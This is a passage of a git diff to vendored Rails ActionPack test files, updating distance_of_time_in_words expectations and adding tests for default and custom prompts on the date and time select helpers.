-      I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
-      select_month(8, :locale => 'en', :use_short_month => true)
-    end
-
-    # date_or_time_select
-
-    def test_date_or_time_select_given_an_order_options_does_not_translate_order
-      I18n.expects(:translate).never
-      datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
-    end
-
-    def test_date_or_time_select_given_no_order_options_translates_order
-      I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
-      datetime_select('post', 'updated_at', :locale => 'en')
-    end
+    I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
   end
-end
\ No newline at end of file
+
+  # select_month
+
+  def test_select_month_given_use_month_names_option_does_not_translate_monthnames
+    I18n.expects(:translate).never
+    select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
+  end
+
+  def test_select_month_translates_monthnames
+    I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+    select_month(8, :locale => 'en')
+  end
+
+  def test_select_month_given_use_short_month_option_translates_abbr_monthnames
+    I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
+    select_month(8, :locale => 'en', :use_short_month => true)
+  end
+
+  def test_date_or_time_select_translates_prompts
+    @prompt_defaults.each do |key, prompt|
+      I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
+    end
+
+    I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+    datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
+  end
+
+  # date_or_time_select
+
+  def test_date_or_time_select_given_an_order_options_does_not_translate_order
+    I18n.expects(:translate).never
+    datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
+  end
+
+  def test_date_or_time_select_given_no_order_options_translates_order
+    I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+    datetime_select('post', 'updated_at', :locale => 'en')
+  end
+end
diff --git a/vendor/rails/actionpack/test/template/date_helper_test.rb b/vendor/rails/actionpack/test/template/date_helper_test.rb
index 49ba140c..9fb2080f 100644
--- a/vendor/rails/actionpack/test/template/date_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/date_helper_test.rb
@@ -53,13 +53,14 @@ class DateHelperTest < ActionView::TestCase
     assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
     assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
 
-    # 1440..2879
+    # 1440..2529
     assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "1 day", distance_of_time_in_words(from, to + 47.hours + 59.minutes + 29.seconds)
+    assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
 
-    # 2880..43199
-    assert_equal "2 days", distance_of_time_in_words(from, to + 47.hours + 59.minutes + 30.seconds)
-    assert_equal "29 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
+    # 2530..43199
+    assert_equal "2 days", distance_of_time_in_words(from, to + 42.hours + 59.minutes + 30.seconds)
+    assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
+    assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
 
     # 43200..86399
     assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
@@ -69,13 +70,28 @@ class DateHelperTest < ActionView::TestCase
     assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
     assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
 
-    # 525600..1051199
-    assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years - 30.seconds)
-    assert_equal "about 1 year", distance_of_time_in_words(from, to + 2.years - 31.seconds)
+    # > 525599
+    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years - 30.seconds)
+    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
+    assert_equal "over 1 year",     distance_of_time_in_words(from, to + 1.years + 6.months)
 
-    # > 1051199
-    assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 30.seconds)
-    assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years)
+    assert_equal "almost 2 years",  distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
+    assert_equal "about 2 years",   distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
+    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
+    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
+    assert_equal "almost 3 years",  distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
+
+    assert_equal "almost 5 years",  distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
+    assert_equal "about 5 years",   distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
+    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
+    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
+    assert_equal "almost 6 years",  distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
+
+    assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
+    assert_equal "about 10 years",  distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
+    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
+    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
+    assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
 
     # test to < from
     assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
@@ -104,7 +120,7 @@ class DateHelperTest < ActionView::TestCase
   def test_distance_in_words_with_dates
     start_date = Date.new 1975, 1, 31
     end_date = Date.new 1977, 1, 31
-    assert_equal("over 2 years", distance_of_time_in_words(start_date, end_date))
+    assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
   end
 
   def test_distance_in_words_with_integers
@@ -153,6 +169,22 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_day(16, {}, :class => 'selector')
   end
 
+  def test_select_day_with_default_prompt
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, :prompt => true)
+  end
+
+  def test_select_day_with_custom_prompt
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
+  end
+
   def test_select_month
     expected = %(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
@@ -276,6 +308,22 @@ class DateHelperTest < ActionView::TestCase
     #assert result.include?('<option value="1">January')
   end
 
+  def test_select_month_with_default_prompt
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, :prompt => true)
+  end
+
+  def test_select_month_with_custom_prompt
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
+  end
+
   def test_select_year
     expected = %(<select id="date_year" name="date[year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
@@ -344,6 +392,22 @@ class DateHelperTest < ActionView::TestCase
     #assert result.include?('<option value="2003"')
   end
 
+  def test_select_year_with_default_prompt
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
+  end
+
+  def test_select_year_with_custom_prompt
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
+  end
+
   def test_select_hour
     expected = %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -392,6 +456,22 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
   end
 
+  def test_select_hour_with_default_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+  end
+
+  def test_select_hour_with_custom_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
+  end
+
   def test_select_minute
     expected = %(<select id="date_minute" name="date[minute]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
@@ -470,6 +550,22 @@ class DateHelperTest < ActionView::TestCase
     #assert result.include?('<option value="00">00')
   end
 
+  def test_select_minute_with_default_prompt
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+  end
+
+  def test_select_minute_with_custom_prompt
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
+  end
+
   def test_select_second
     expected = %(<select id="date_second" name="date[second]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
@@ -524,6 +620,22 @@ class DateHelperTest < ActionView::TestCase
     #assert result.include?('<option value="00">00')
   end
 
+  def test_select_second_with_default_prompt
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+  end
+
+  def test_select_second_with_custom_prompt
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
+  end
+
   def test_select_date
     expected =  %(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
@@ -914,6 +1026,57 @@ class DateHelperTest < ActionView::TestCase
     assert_nothing_raised { select_datetime(Date.today) }
   end
 
+  def test_select_datetime_with_default_prompt
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
+                                               :prefix => "date[first]", :prompt => true)
+  end
+
+  def test_select_datetime_with_custom_prompt
+
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
